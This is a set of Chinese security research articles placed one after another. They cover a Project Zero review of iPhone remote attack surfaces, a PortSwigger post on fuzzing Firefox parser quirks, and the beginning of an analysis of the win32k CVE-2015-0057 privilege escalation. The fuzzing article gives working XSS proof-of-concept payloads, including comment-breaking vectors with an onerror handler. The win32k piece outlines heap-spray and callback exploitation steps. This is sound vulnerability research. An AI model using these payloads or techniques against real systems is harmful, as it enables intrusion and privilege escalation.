Voicemail(VVM)`，我[之前](https://googleprojectzero.blogspot.com/2019/03/android-messaging-few-bugs-short-of.html)在Android上已经回顾过，`VVM`是一种允许以与电子邮件显示方式类似的可视格式查看语音邮件的功能
VVM通过从设备运营商维护的IMAP服务器获取语音邮件来工作，它的服务器URL和credentials(凭证)由运营商通过SMS提供给设备。iPhone使用与公开的格式不同的[VVM
SMS消息格式](http://www.omtp.org/OMTP_VVM_Specification_v1_3_Final.pdf)，因此我通过在接收SMS
PDU的CommCenter中放置断点来确定传入VVM SMS的内容，以下是传入VVM消息的示例：
STATE?state=Active;server=vvm.att.com;port=143;pw=asdf;[email protected]
我把Android设备设置成发送原始PDU，并尝试用它发送该消息，发现日志显示已对服务器进行了其它查询。我尝试将默认服务器更改为我控制的服务器，经过多次尝试，我能够发送更改目标设备的VVM服务器的消息，但有以下限制：
* 必须在设备上配置VVM
* 必须将SMS的PID字段设置为目标设备的载波的VVM值(如果你有来自该载波的SIM卡，则可以轻松确定，但每个载波的SIM卡不同)
* 有些运营商阻止VVM IMAP请求到外部服务器，在这种情况下，这对远程运营商不起作用。攻击者可能使用目标设备附近的基站绕过它，但是我没有尝试这一攻击
对于大多数运营商来说，这足以让VVM
IMAP成为可行的攻击面，我认为它很可能包含错误，因为VVM使用与iOS上电子邮件相同的IMAP库。IMAP服务器通常可以抵御来自不受信任的电子邮件客户端的攻击，因为恶意客户端通常会攻击服务器以尝试访问其他用户的电子邮件。然而，客户端连接到恶意服务器的情况要少得多，因为用户需要手动输入这些服务器，并且通常只会输入他们信任的服务器。
这意味着从服务器的角度来看，服务器到客户端的这一攻击面可能不是很有效，因为它不是一个真正的攻击面。VVM对此进行了更改，因为它允许设备在没有用户交互的情况下连接到恶意IMAP服务器。
我用IDA查看了IMAP库，但仍然没有发现任何问题。我接下来尝试fuzz，
我写了一个假的IMAP服务器，它返回了对每个请求的错误响应，并使用其中的SMS模拟器不断发送`VVM SMS`消息，让设备请求服务器响应。
我用这个方式发现了一个漏洞`CVE-2019-8613`。 此漏洞是由于错误处理`NAMESPACE IMAP`命令而导致的`NSString UAF`。
当IMAP服务器建立连接时，它首先向客户端发送`LIST`命令以获取邮箱分隔符字符串，然后发送`NAMESPACE`命令以获取邮箱前缀。在iOS
IMAP实现中，如果服务器遇到错误，则free分隔符字符串，但调用`NAMESPACE`命令的代码不会检查命令是否成功，因此即使已经free分隔符，它也会继续。
> 译者注：`CVE-2019-8613`
> <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201905-529>
# Email
查看IMAP实现，我注意到`MIME`中有几个代码路径未被`VVM`使用，但在处理消息时由电子邮件客户端使用。其中有一个具有明显且不寻常的问题。
方法`[MFMimePart
_contents:toOffset:resultOffset:downloadIfNecessary:asHTML:isComplete:]`处理传入的`MIME`消息，并根据`MIME类型`将它们发送到特定的解码器。不幸的是，它是通过将传入消息中的MIME类型字符串追加到字符串"decode"并调用结果方法来实现。这意味着可能会调用非预期的选择器，从而导致内存损坏。
我在`iOS 11.3.1`版本中发现了这个漏洞，但由于调用的非预期的选择器的功能发生了变化，因此在iOS
12中显然无法利用，这些变化似乎与安全无关。但此问题仍然可能导致crash，并且已解决为`CVE-2019-8626`。
> 译者注：`CVE-2019-8626` <https://support.apple.com/zh-cn/HT210118>
虽然电子邮件是iPhone的潜在的远程攻击面，但目前还不清楚它有多严重。首先，一些用户安装第三方客户端而不是使用本机电子邮件客户端，一些电子邮件提供商还会
**过滤传入的邮件** 并 **删除 触发漏洞所需的格式错误 的MIME组件**
。虽然上述错误适用于在本机电子邮件客户端上登录的Gmail，但目前尚不清楚此配置的常见程度，或者提供商过滤是否可能是导致类似错误的问题。
# iMessage
`iMessage`是iOS和Mac设备上的 **本机消息传递客户端**
。它支持使用各种格式选项发送和接收消息，还支持扩展，允许设备发送和接收自定义消息类型。扩展可以由Apple或第三方编写。SamuelGroß和我分析了默认安装在iPhone上的iMessage及其扩展。
为了开始这个项目，Samuel编写了可以在Mac上发送和转储iMessage消息的工具。它们通过`hook
iMessage中的代码`来工作，该代码使用`Frida`发送或接收消息，并且在转储的情况下将消息写入控制台，或者在发送的情况下将其替换为不同的消息。以下是使用这些工具转储的示例消息。
to: mailto:[email protected]
from: tel:+15556667777
{
gid = "FAA29682-27A6-498D-8170-CC92F2077441";
gv = 8;
p = (
"tel:+15556667777",
"mailto:[email protected]"
);
pv = 0;
r = "68DF1E20-9ABB-4413-B86B-02E6E6EB9DCF";
t = "Hello World";
v = 1;
}
它是一个包含多个字段的二进制plist。以下是其中有趣的部分：
**t** | **Plain text message content**
---|---
**x** | **XML message content**
**bid** | **“Balloon identifier” for plugin**
**bp** | **Plugin data**
**ati** | **Attribution info**
**p** | **Participants**
我们注意到其中几个字段包含使用`NSKeyedUnarchiver`类进行反序列化的二进制数据（字段也可以选择使用gzip压缩。为了解决这个问题，我们编写了一个程序，调用`[NSData
_FTOptionallyDecompressData]`在Mac命令行上解压缩它们）
具体来说， **bp** 字段在SpringBoard中被反序列化以用于通知，这使得反序列化成为一个完全远程的攻击面。`SpringBoard`在iOS上也
**没有任何沙盒** 。此字段也由`MobileSMS`反序列化，但这需要单击一次。 **ATI**
字段也在`imagent`过程中解码，并且不需要用户交互，虽然它相对于`bp`字段在解码时更严格。
`NSKeyedArchiver`序列化以`plist`格式对`NSObject`实例进行编码。下面是包含`NSURL实例的序列化对象的示例部分。
<dict>
<key>$class</key>
<dict>
<key>CF$UID</key>
<integer>7</integer>
</dict>
<key>NS.base</key>
<dict>
<key>CF$UID</key>
<integer>0</integer>
</dict>
<key>NS.relative</key>
<dict>
<key>CF$UID</key>
<integer>6</integer>
</dict>
</dict>
<string>http://www.google.com</string>
<dict>
<key>$classes</key>
<array>
<string>NSURL</string>
<string>NSObject</string>
</array>
<key>$classname</key>
<string>NSURL</string>
</dict>
`NS.base`字段和`NS.relative`字段是将用于构造`NSURL`实例的对象，该`NS.relative`字段引用字符串`http://www.google.com`，它代表了URL位置。下面的字典，带有`$classes`和`$classname`字段，描述了实例的类，它由第一个字典的`$class`字段引用。反序列化此实例时，解码器将调用`[NSURL
initWithCoder:]`，其中包含 **将反序列化`NS.base`和`NS.relative`字段并使用它们初始化`NSURL`**的代码。
`NSKeyedArchiver`可以学序列化或反序列化任何实现`initWithCoder:`的`Object-C`类，但它有一个名为`NSSecureCoding`的安全功能，允许开发人员限制解码的内容。
首先，实现`initWithCoder`的类，还必须实现`requiresSecureCoding`，以便在启用`NSSecureCoding`时启用反序列化。这可以防止开发人员在安全的上下文中意外暴露反序列化代码。其次，`NSSecureCoding`要求所有反序列化调用
**提供可以反序列化的允许类的列表** ，并且不允许其他类。但值得注意的是，允许的类列表并不是
序列化期间可以调用`initWithCoder:`方法的完整列表。例如，具有一些遗漏的`[NSURL initWithCoder:]`的伪代码表示如下：
[NSURL initWithCoder:](NSURL *u, id decoder){
NSData* book = [decoder decodeObjectOfClass:[NSData class] forKey:@"NS.minimalBookmarkData"];
if(book)
return [URLByResolvingBookmarkData:data];
NSString* base = [decoder decodeObjectOfClass:[NSString class] forKey:@"NS.base"];
NSString* relative = [decoder decodeObjectOfClass:[NSString class] forKey:@"NS.relative"];
return [NSURL initWithString:base relativeToURL:relative];
}
对于不是`bookmark`的URL，该方法将需要为`NS.relative`和`NS.base`字段反序列化类`NSString`的实例，并且在该反序列化中将允许`NSString`类。同样，如果序列化数据包含`NS.minimalBookmarkData`字段，它将反序列化`NSData`的实例。因此，虽然限制了
反序列化的类 将返回的类，但它们 **并不将攻击面限制为该类** 。尽管如此，他们仍然会减少攻击面。
有几种方法可用于创建`NSKeyedUnarchiver`实例或反序列化对象，并且默认情况下并非所有方法都启用`NSSecureCoding`，默认情况下，以下方法启用它：
`initForReadingFromData: unarchivedObjectOfClasses:fromData:error:`
而下面的方法则不能：
`initWithData: unarchiveObjectWithData:error initForReadingWithData:`
这些方法的名字并没有清楚的表明是否启用了`NSSecureCoding`，尤其是名称相同的`initForReadingFromData:`和`initForReadingWithData
:`，我们首次尝试查找漏洞是在iMessage中寻找一个在没有`NSSecureCoding`的情况下执行反序列化的地方。希望能够使用它来反序列化`WebKit`实例，并找到一种方法来加载包含`WebKit`漏洞的网页，因为发现了许多此类漏洞，并且可以它们的可利用性都很好。不幸的是，没有`NSSecureCoding`的地方，我们没有发现任何反序列化。
接下来，我们研究了 **扩展** 。扩展是一个相当新的功能，因此我们希望找到扩展如何处理 **bp**
字段中的序列化数据的错误。有时可以在没有用户交互的情况下执行该处理。扩展程序可以支持预览，在这种情况下，`SpringBoard`将在扩展程序中调用`previewSummary`而无需用户交互。某些版本的iOS还通过调用`initWithPluginPayload`来处理整个输入，没有用户交互，但它在每个版本上是不一致的。这发生在测试版本`12.1.2`时，但不是更高版本。
我们在`Digital
Touch`扩展程序发现了一个漏洞[CVE-2019-8624中](https://bugs.chromium.org/p/project-zero/issues/detail?id=1828)，此扩展允许用户发送包含绘图和其他可视元素的消息。扩展允许使用自定义编码，只要它们发信号通知`SpringBoard`不尝试解码
**bp** 字段，Digital Touch使用`protobuf`解码其有效负载(payload)。它解码了几个字节数组，并且有一种情况是，
**在复制之前错误地检查字节数组的长度** ，从而导致 **越界读取** 。这个问题很可能无法被利用，但是产生bug的路径很有趣。
链接演示文稿扩展(The Link Presentation
extension)显示在消息中发送链接时的链接预览。它的工作原理是在发件人设备上加载`WebKit`中的链接，生成预览文本和图像，然后将其发送到目标设备。我们非常详细地分析了这个扩展，寻找在接收设备上生成`WebKit`实例的方法，但没有找到。`WebKit`处理似乎总是由发件人完成。
然后我们决定在`initWithCoder`中查找bug ，`SpringBoard`在生成消息预览时允许反序列化的类的方法。Ian Beer
发现了这种类型的`几个问题`，允许权限提升。
> issue如下：
>
> <https://bugs.chromium.org/p/project-zero/issues/detail?id=1172>
>
> <https://bugs.chromium.org/p/project-zero/issues/detail?id=1168>
>
> <https://bugs.chromium.org/p/project-zero/issues/detail?id=1175>
`SpringBoard`解码 **bp**
字段时允许的类是：`NSDictionary`，`NSString`，`NSData`，`NSNumber`，`NSURL`，`NSUUID`和`NSValue`。还允许这些类的
**具有任何继承级别的子类** ，`NSKeyedUnarchiver`反序列化的情况也是如此。我们回顾了`initWithCoder:
SpringBoard`导入的这些类及其子类的实现。该分析发现了三个漏洞。
[CVE-2019-8663](https://bugs.chromium.org/p/project-zero/issues/detail?id=1883)是反序列化`SGBigUTF8String`类的漏洞，该类是`NSString`的子类。这个类的`initWithCoder:`实现
反序列化一个字节数组，然后看作以null结尾的UTF-8字符串，即使它可能没有null。这可能导致创建一个包含越界内存的字符串。
[CVE-2019-8661](https://bugs.chromium.org/p/project-zero/issues/detail?id=1856)是`[NSURL initWithCoder:]`
中的漏洞，仅影响Mac。当反序列化URL时，通常会解码类`NSString`的实例，但也可以对`NSData`实例进行反序列化，然后将其视为`bookmark`。仅在Mac上，此书签可能采用`alis`
，[alis格式](https://developer.apple.com/documentation/coreservices/carbon_core/alias_manager)，在2012年已弃用。此格式由名为`CarbonCore`的框架处理，该框架使用许多不安全的字符串处理函数来处理别名文件。该漏洞是由于对`strcat`的不安全调用导致的堆内存破坏引起的。值得注意的是，`iMessage`永远不会合法使用此书签功能。它存在是因为`NSURL`反序列化在整个系统中是通用的，因此`initWithCoder`实现必须支持所有输入可能性，甚至是在特定攻击面上
正常使用时 永远不会遇到的可能性。
[CVE-2019-8646](https://bugs.chromium.org/p/project-zero/issues/detail?id=1858)是一个在反序列化`NSData,
_NSDataFileBackedFuture`的子类的漏洞。此类允许创建包含文件内容的缓冲区，但 **在访问数据之前不会加载该文件**
。实现反序列化，以便从输入数据中反序列化缓冲区长度，文件名也是如此，并且从不检查反序列化长度是否与最终加载的文件的长度一致。这违反了`NSData`类所做的基本保证，即`length`属性将是字节的正确长度属性。这可能会导致各种问题，包括内存损坏，将在未来的博客文章中探讨。值得注意的是，`_NSDataFileBackedFuture`类是一个隐藏类它不需要是`public`或被导出以使其可用于反序列化。
在查看了所有`initWithCoder`实现之后，我们开始想知道，如果允许类的子类没有实现`initWithCoder`会发生什么。事实证明它遵循正常的继承规则，这意味着它将为其超类使用`initWithCoder`实现，但随后将为该子类调用该类已重写的任何方法。事实证明，允许类(The
allowed class)的许多子类是可能的，例如`initWithCapacity:`是一种常用的方法来实现和调用。有些类具有 **阻止继承的检查**
，或者更常见的是 **需要直接继承**
（即，允许覆盖所有需要的方法的子类，而不依赖于某些超类实现的子类）。这是需要逐个类来审查的事情。我们通过将`dyld_shared_cache`加载到IDA并运行检查`Objective-C`元数据的[脚本](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=394697&signed_aid=5uFIpHlPCfZIwX_Or7gX0w==)来确定可用的类。
我们发现的一个漏洞是[CVE-2019-8647](https://bugs.chromium.org/p/project-zero/issues/detail?id=1873&can=1&q=label%3AFinder-natashenka&colspec=ID Status
Restrict Reported Vendor Product Finder
Summary&start=100)。反序列化`_PFArray`类时发生此漏洞，该类扩展了`NSArray`并实现了`[NSArray
initWithCoder:]` 调用的`[_PFArray initWithObjects:count:]`
。此方法假定数组中的所有对象都有对它们的引用，这可能适用于此类的预期用途，但在反序列化期间不是这种情况。这意味着可以创建和使用包含已释放对象的数组。很可能这个类从来没有打算反序列化，并且在每当它包含的库被一个反序列化数组的进程导入时，方法`initWithObjects:count:`的可行性没有被考虑周全，这是开发人员所不希望看到的。
我们在一个类中报告了一个类似的漏洞[CVE-2019-8662](https://bugs.chromium.org/p/project-zero/issues/detail?id=1874)，据我们所知，它没有导入到`iMessage`中，但很可能被其他使用反序列化的应用程序导入。
> 关于`NSKeyedArchiver`序列化的另一个有趣问题是，如果序列化对象包含循环，会发生什么呢？
从根本上说，`NSKeyedArchiver`格式是包含数字引用的`plist`文件，因此对象可以引用自身，或者可以存在涉及多个对象的循环。查看IDA中的代码，对象的反序列化大致如下：
if(temp_dict[key])
return [temp_dict[key] copy];
if(obj_dict[key])
return [obj_dict[key] copy];
NSObject* a = [NSSomeClass alloc];
temp_dict[key] = a; //No references!!
NSObject* obj = [a initWithCoder:];
temp_dict[key] = NIL;
obj_dict[key] = obj;
return obj;
因此，第一次反序列化对象时，会在其类上调用`alloc` ，然后`alloc`返回的对象将存储在 不保留对该对象的引用的 临时字典
中，然后在分配的对象上调用`initWithCoder`。完成该调用后，将从临时字典中删除已分配的对象，并将`initWithCoder`返回的对象添加到永久对象字典中，该字典会添加对该对象的引用。
这个方案有 **几个问题**
。首先，不能保证`initWithCoder`返回调用它的这个对象，事实上，文档特别指出这不能保证是这种情况。此外，`initWithCoder`负责在未返回此对象的情况下释放该对象。
因此，理论上`initWithCoder`实现可以释放`alloc`返回的对象 ，然后反序列化可能是对同一对象的引用的字段，这将导致
**返回的引用是对释放的内存的无效引用**
。我们进行了分析，没找到任何`initWithCoder`在`SpringBoard`中存在此问题的实现，但它们可能存在于其他应用程序中，因为这不违反任何被记录的对`initWithCoder`实现行为的限制。
另一个问题是，如果`initWithCoder`的实现以反序列化自身收尾，然后使用该对象。但它缺可以在调用完成之前使用该对象。如果某些方法假定对象已完成或不会更改（因为它可能会随着`initWithCoder`调用完成而继续更改），则会导致问题。
我们寻找涉及生命周期的漏洞并发现了两个这样的错误。第一个是[CVE-2019-8641](https://bugs.chromium.org/p/project-zero/issues/detail?id=1881)，我们尚未透露，因为它的修复并没有完全解决问题。
另一个问题是[CVE-2019-8660](https://bugs.chromium.org/p/project-zero/issues/detail?id=1884)。这种脆弱性是另一个子类的`NSDictionary`，`NSKnownKeysDictionary1`，这是另一个优化的字典类，需要预先提供密钥。在这种情况下，密钥作为类`NSKnownKeysMappingStrategy1`实例提供，它将包含密钥的数组分别反序列化。在反序列化密钥后，检查反序列化的密钥数量是否与密钥数组长度一致，因此如果密钥是`NSKnownKeysDictionary1`的另一个实例，则它可以在检查密钥数量之前使用`NSKnownKeysMappingStrategy1`实例。这允许
**整数溢出** 导致`[NSKnownKeysDictionary1 initWithCoder:]`中的内存损坏。
`NSKeyedArchiver`序列化的本质使得保护非常困难。即使启用了`NSSecureCoding`，`NSKeyedArchiver`序列化也会无意中创建极大的攻击面。举个例子，如果启用了安全编码，下一个调用的攻击面是什么？
`[NSKeyedUnarchiver unarchivedObjectOfClasses:@[NSURL] fromData:mydata
error:NIL];`
显然，它包括URL反序列化器，`[NSURL
initWithCoder:]`以及在调用的app中实现的任何子类反序列化器，例如`[NSMyURLSubClass initWithCoder:]`
但它还包括由app导入的库中的`NSURL`的任何子类。例如，假设此应用程序导入`UserNotifications`框架，在这种情况下，`[UNSecurityScopedURL
initWithCoder:]` ，`NSURL`的子类也将成为攻击面的一部分，即使该库被导入的原因并不是用于序列化
让我们再看一下前面讨论的`[NSURL initWithCoder:]`：
[NSURL initWithCoder:](NSURL *u, id decoder){
NSData* book = [decoder decodeObjectOfClass:[NSData class] forKey:@"NS.minimalBookmarkData"];
if(book)
return [URLByResolvingBookmarkData:data];
NSString* base = [decoder decodeObjectOfClass:[NSString class] forKey:@"NS.base"];
NSString* relative = [decoder decodeObjectOfClass:[NSString class] forKey:@"NS.relative"];
return [NSURL initWithString:base relativeToURL:relative];
}
它包含对`decodeObjectOfClass:forKey:`的三次调用，分别解析类`NSString`，`NSData`和`NSURL`的对象，所以`[NSString
initWithCoder:]` 和`[NSData initWithCoder:]`
现在也是攻击面的一部分。在`[NSURL的initWithCoder:]`
实现中，也将把提供的`NSData`对象看作一个bookmark并进行解析（如果它存在），所以这也是在攻击面。
攻击面现在也包括`NSString`和`NSData`的子类，假设此应用程序仅导入`UserNotifications`框架以及通常必需的`Foundation`和`CoreFoundation`，以下反序列化函数现在位于攻击面中，因为它们是这两个类的子类：`[_NSDispatchData
initWithCoder:]`, `[__NSLocalizedString initWithCoder:]`,
`[NSLocalizableString initWithCoder:]` and `[UNLocalizedString
initWithCoder:]`
看看这些，有两种方法可以允许更多的类成为攻击面。`[UNLocalizedString initWithCoder:]`
反序列化`NSArray`实例，同时`[UNLocalizedString initWithCoder:]`
解码类`NSDictionary`、`NSNumber`和`NSDate`的对象。出于本示例的目的，我们不会研究这些类的子类，但很明显它们将允许更多的类，并且更多地增加攻击面，这些类的子类也是如此，等等。
这只是考虑子类的`initWithCoder`方法，考虑到允许类的任何子类可能由于继承而成为反序列化的一部分，因此攻击面可能更大。例如`[NSString
initWithCoder:]` 可以调用`[NSString initWithString:]` 或`[NSString initWithBytes:
length: encoding:]，具体取决于反序列化的字段，因此这两个子类方法都是攻击面的一部分。
在这种情况下，这包括`[NSBigMutableString initWithString:]`, `[NSDebugString
initWithString:]`,
`[NSPlaceholderMutableString
initWithBytes:length:encoding:]`和`[NSPlaceholderString
initWithBytes:length:encoding:]`，由于继承，所有其他允许的类在攻击面上都有类似的增加。
这是一个非常大的攻击面，用于解码URL（这可能只是一个字符串），它是一个随着应用程序的发展而呈指数级扩大的攻击面。例如，想象一下在此攻击面上导入一些额外库的影响，或者在允许列表中添加一些额外的类。同样重要的是，在序列化期间可以组合来自不打算一起使用的不同框架的类。例如，可以使用来自另一个框架的字符串子类来解码URL，该框架包含来自另一个框架的数据对象，并且生成的对象可以包含许多未预期或预期的类的属性。反序列化的广泛攻击面以及从许多框架反序列化对象时可用的多个自由度是我们在iMessage中发现如此多漏洞的原因。
# 结论
我们分析了iPhone的远程攻击面，并审查了SMS，MMS，VVM，Email和iMessage，并且发布了几种可用于进一步测试这些攻击面的工具。我们报告了总共10个漏洞，所有这些漏洞都已修复。由于其广泛且难以枚举的攻击面，大多数漏洞都发生在`iMessage`中。大多数此类攻击，表面不是正常使用的功能，对用户没有任何用处。`Visual
Voicemail`也有一个庞大且不直观的攻击面，可能导致上文提到的严重的漏洞。总的来说，我们发现的远程漏洞的数量和严重程度都很高。减少iPhone的远程攻击面可能会提高其安全性。 | 社区文章 |
# 通过Fuzzing找出浏览器的一些怪癖
##### 译文声明
本文是翻译文章，文章原作者 portswigger，文章来源：portswigger.net
原文地址：<https://portswigger.net/blog/provoking-browser-quirks-with-behavioural-fuzzing>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中我将向你展示我如何通过Fuzzing找出Firefox浏览器的多个”怪癖”。一般来说，研究者Fuzzing的目的大多是找出引发内存损坏的行为，但我是个例外；我要找的是浏览器一些其他的有趣行为。例如某些字符可以引起标签发生异常（打开或闭合），或某些字符可以绕过JavaScript解析器作出某种行为。上述这些意外行为通常可以绕过安全策略和实现Javascript沙盒逃逸，从而有助于[XSS](https://portswigger.net/web-security/cross-site-scripting)攻击。
我想讨论的第一个Bug是关于如何通过其他的方式闭合HTML注释。如果你阅读过HTML规范，你应该知道可以使用`-->`或`--!`来闭合注释，但还有其他方法吗？这是一个好问题，很适合我们展开Fuzzing。我们只要准备一些代码就可以找出该问题的答案。
时间回到2008年，我在构造[Shazzer](http://shazzer.co.uk/)用于对浏览器进行模糊测试，那时我被限制每页只能导入10000个攻击向量，但回到2019一切都更快了，我们可以一次性对更多目标进行模糊测试。同时也可以使用DOM来加速Fuzzing，因为我不用再把向量逐个加载到当前文档中。但需要注意这不是万能的，你得到的结果可能不完整，实际我发现DOM在属性(例如`href`)赋值中允许NULL字符，但HTML解析器不会解析。这里还有一些其他很酷的bug，但你不能轻信浏览器的结果，你需要深入研究HTML解析器的行为。尽管这种输出HTML的方法比使用服务端语言快得多，但在大多数情况下都不适用。
第一步已经完成——我们找出问题”有什么字符可以闭合HTML注释？”。为了找出答案我们要利用已知可闭合HTML注释的字符，然后fuzz那些我们目前不知道的字符。下一步则是使用工具开展Fuzz，这里我使用的是[Hackvertor](https://hackvertor.co.uk/public)（也可以在本地web服务器搭建）。加载完Hackvertor，通常是向输入框中写入内容并使用特定标记做一些转换，对输出做某些操作后然后获取最终输出。但我们没有要转换的内容，因此我们直接导入内容到输出框中。点击输出框区域的按钮，创建数组存储字符，然后创建`div`元素开始测试HTML：
log = [];
div=document.createElement('div');
接下来我们要fuzz超过1000000个unicode字符（准确地说是`0x10ffff`）。所以先创建一个`for`循环：
for(i=0;i<=0x10ffff;i++){
然后再使用`div`元素，这里我测试的是`!`之后的位置，所以字符要注入到`!`后面。然后使用一个`img`元素来查看结果是否有效，如果这个元素为显性则代表HTML注释已闭合。我们已经准备好了一些有趣的字符！
div.innerHTML = '<!-- --!'+String.fromCodePoint(i)+'><img>-->';
使用`querySelector`检查`img`是否存在，然后将字符添加到日志，然后关闭`if`语句和`for`循环，最后把结果会显示在左侧的输入框中：
if(div.querySelector('img')){
log.push(i);
}
}
input.value=log
这里有[完整的代码](https://hackvertor.co.uk/public#bG9nPVtdOwpkaXY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CmZvcihpPTA7aTw9MHgxMGZmZmY7aSsrKXsKIGRpdi5pbm5lckhUTUwgPSAnPCEtLSAtLSEnK1N0cmluZy5mcm9tQ29kZVBvaW50KGkpKyc+PGltZz4tLT4nOyAKaWYoZGl2LnF1ZXJ5U2VsZWN0b3IoJ2ltZycpKXsKIGxvZy5wdXNoKGkpOwogfQp9IAppbnB1dC52YWx1ZT1sb2c=)，你只需在Firefox中打开URL，然后把内容放到输出框，点击“Execute
JS”按钮开始字符fuzz。Fuzz完毕后你应该在输入框中可以看到数字，数字对应有效的字符代码。在撰写本文时Firefox（67版本）仍允许通过把换行字符`-n`和`r-`放到`!`后面来闭合注释。很快我就收到消息，告知该bug已修复。Fuzzing最后的阶段就是开始组装Payload，这很简单你只要用换行符替换字符代码，然后添加XSS
Payload：
<!-- --!
><img src=1 onerror=alert(1)> -->
你可以再次使用Hackvertor来测试它是否有效，只需将上面的内容粘贴到输出框中，然后点击“Test HTML”引发弹窗。
这样我们就在Firefox
HTML解析器里找到了一个很cool的bug。OK，让我们继续找下一个，一个新问题：“什么字符可以作为注释开头？”。我们现在的目标是通过HTML注释打破存在的HTML属性，而不是闭合HTML注释。我相信大家都知道可以把`<!--`作为HTML注释的开头。OK，这里我会再次使用相同的代码，但会做一些小调整，我修改innerHTML的赋值，以检查注释的开头：
div.innerHTML = '<!-'+String.fromCodePoint(i)+'- ><div title="--><img>">';
所以我们把Fuzzing的字符放到第一个连字符后面，如果某个字符可以用作注释开头，那将注释掉`div`元素，从而突破`title`属性。这次点击“Excute
JS”后，我们在Firefox上得到两个结果：“0 ,
45”。由于连字符，`45`是存在的，而`0`代表NULL字符！这意味着Firefox会将`<!-NULL-`视为注释开头。有点不可思议（我觉得浏览器服务商应该对产品做足够多的行为Fuzzing）。为完整这次测试，我们现在要创建攻击向量，将`String.fromCodePoint`函数替换为`NULL`字符，然后插入XSS
Payload：
document.body.innerHTML = '<!-x00- ><div title="--><img src=1 onerror=alert(1)>"></div>';
让我们跳出HTML，转向JavaScript。我测试了大部分浏览器，Sorry，Mozilla的Firefox再次让我惊讶。我是从
@jinmo123的一篇推文获得灵感，他们使用一个很酷的ES6新特性来实现无括号调用函数，但结合Fuzzing来说我的问题是哪些字符可以放到`in`或者说`instanceof`运算符后面，我们仍需用到Hackvertor，遵循上面模版创建代码，但这次不需要DOM。我们先创建数组和for循环：
log = [];
for(i=0;i<=0x10ffff;i++){
然后我们将使用`eval`替换`innerHTML`进行Fuzzing。首先用一个`try catch`块来包围它，以捕获无效字符引发的异常。
try{
eval("/a/"+String.fromCodePoint(i)+"instanceof function(){}");
`eval`函数用来验证JavaScript是否有效，如果有效，程序将跳转到下一行，如果无效，它将抛出一个异常并且异常立马被捕获，然后Fuzz下一个字符。下面一行只记录成功字符，剩下的代码关闭`try
catch`块和`for`循环，最后把结果反馈至输入框。
log.push(i);
}catch(e){}
}
input.value=log
使用“Execute
JS”运行此代码，可以得到非常多结果！这是因为Firefox忽视了很多字符。但如果你在Chrome上运行，结果则会好一些。你可以在输入框结果中选择字符，这里我使用的是十六进制的“1114110”，也可以用hex编码的“0x10fffe”。现在我们组合最终的JavaScript向量：
eval("1337"+String.fromCodePoint(1114110)+"in"+String.fromCodePoint(1114110)+"alert(1337)");
你也可以在SVG脚本中利用它：
<svg><script>alert(1)</script></svg> | 社区文章 |
**作者： 深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/9-fXGgS0zNagyVWF2lwklg>**
## 一、漏洞信息
### 1、漏洞简述
* 漏洞名称：Microsoft Windows Win32k Local Privilege Escalation Vulnerability
* 漏洞编号：CVE-2015-0057
* 漏洞类型：UAF
* 漏洞影响：本地提权
* CVSS3.0：N/A
* CVSS2.0：7.2
### 2、组件和漏洞概述
win32k.sys是Windows的多用户管理的sys文件。
Windows内核模式驱动程序（Win32k.sys）中存在一个特权提升漏洞，该漏洞不当处理内存中的对象时引起。成功利用此漏洞的攻击者可以获得更高的特权并读取任意数量的内核内存。攻击者可能会安装程序;查看，更改或删除数据；或创建具有完全管理权限的新帐户。
### 3、影响版本
Windows Server 2003 Service Pack 2
Windows Server 2008 Service Pack 2
Windows Server 2008 R2 Service Pack 1
Windows Vista Service Pack 2
Windows Server 2012
Windows Server 2012 R2
Windows 7 Service Pack 1
Windows 8
Windows 8.1
Windows RT
Windows RT 8.1
### 4、解决方案
<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-010>
## 二、漏洞复现
### 1、环境搭建
Windows：Windows 7 sp1 x86，Windows 8.1 x64
win32k.sys：6.1.7601.17514，6.3.9600.17393
### 2、复现过程
运行指定版本的系统，执行EXP
## 三、漏洞分析
### 1、基本信息
* 漏洞文件：win32k.sys
* 漏洞函数：xxxEnableWndSBArrows
* 漏洞对象：tagWND
### 2、背景知识
##### tagSBINFO（tagWND+0xB0）
大小0x24，是本次UAF的对象
##### tagPROPLIST（tagWND+0xA8）
##### tagPROP
##### _LARGE_UNICODE_STRING（tagWND+0xD8）
_LARGE_UNICODE_STRING，由`RtlInitLargeUnicodeString`函数可以初始化Buffer，
`NtUserDefSetText`可以设置 tagWND 的 strName 字段，此函数可以做到桌面堆大小的任意分配
##### tagMENU（tagWND+0xB8，tagWND+0xC0）
#### _HEAP_ENTRY
表示堆头，大小为0x10，前8字节如果有对齐的需要就存放上一个堆块的数据，在这里一般是长度为0x8
kd> dt _heap_entry -vr
nt!_HEAP_ENTRY
struct _HEAP_ENTRY, 22 elements, 0x10 bytes
+0x000 PreviousBlockPrivateData : Ptr64 to Void
+0x008 Size : Uint2B
+0x00a Flags : UChar
+0x00b SmallTagIndex : UChar
+0x00c PreviousSize : Uint2B
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
+0x008 CompactHeader : Uint8B
+0x000 Reserved : Ptr64 to Void
+0x008 FunctionIndex : Uint2B
+0x00a ContextValue : Uint2B
+0x008 InterceptorValue : Uint4B
+0x00c UnusedBytesLength : Uint2B
+0x00e EntryOffset : UChar
+0x00f ExtendedBlockSignature : UChar
+0x000 ReservedForAlignment : Ptr64 to Void
+0x008 Code1 : Uint4B
+0x00c Code2 : Uint2B
+0x00e Code3 : UChar
+0x00f Code4 : UChar
+0x008 AgregateCode : Uint8B
### 3、补丁对比
bindiff比较，主要是补丁代码处将rbx和rsi+0xb0的值进行了比较
看一下反编译后的补丁对比，可以看到补丁后的43行加了一层判断，假如不满足条件，则会跳转到错误处理函数
### 4、漏洞分析
#### 漏洞利用流程
1、首先通过堆喷将一段堆空间覆盖成大量tagWND+tagPROPLIST的结构，有一块是tagWND+tagSBINFO
2、之后通过用户态回调（xxxDrawScrollBar）hook了_ClientLoadLibrary函数。然后我们将我们自己定义回调回来的tagWND释放掉，再次通过setPROP申请回来，此时原来的tagSBINFO（0x28+0x8）的数据结构就变成tagPROPLIST+tagPROP（0x18+0x10+0x8）的结构了
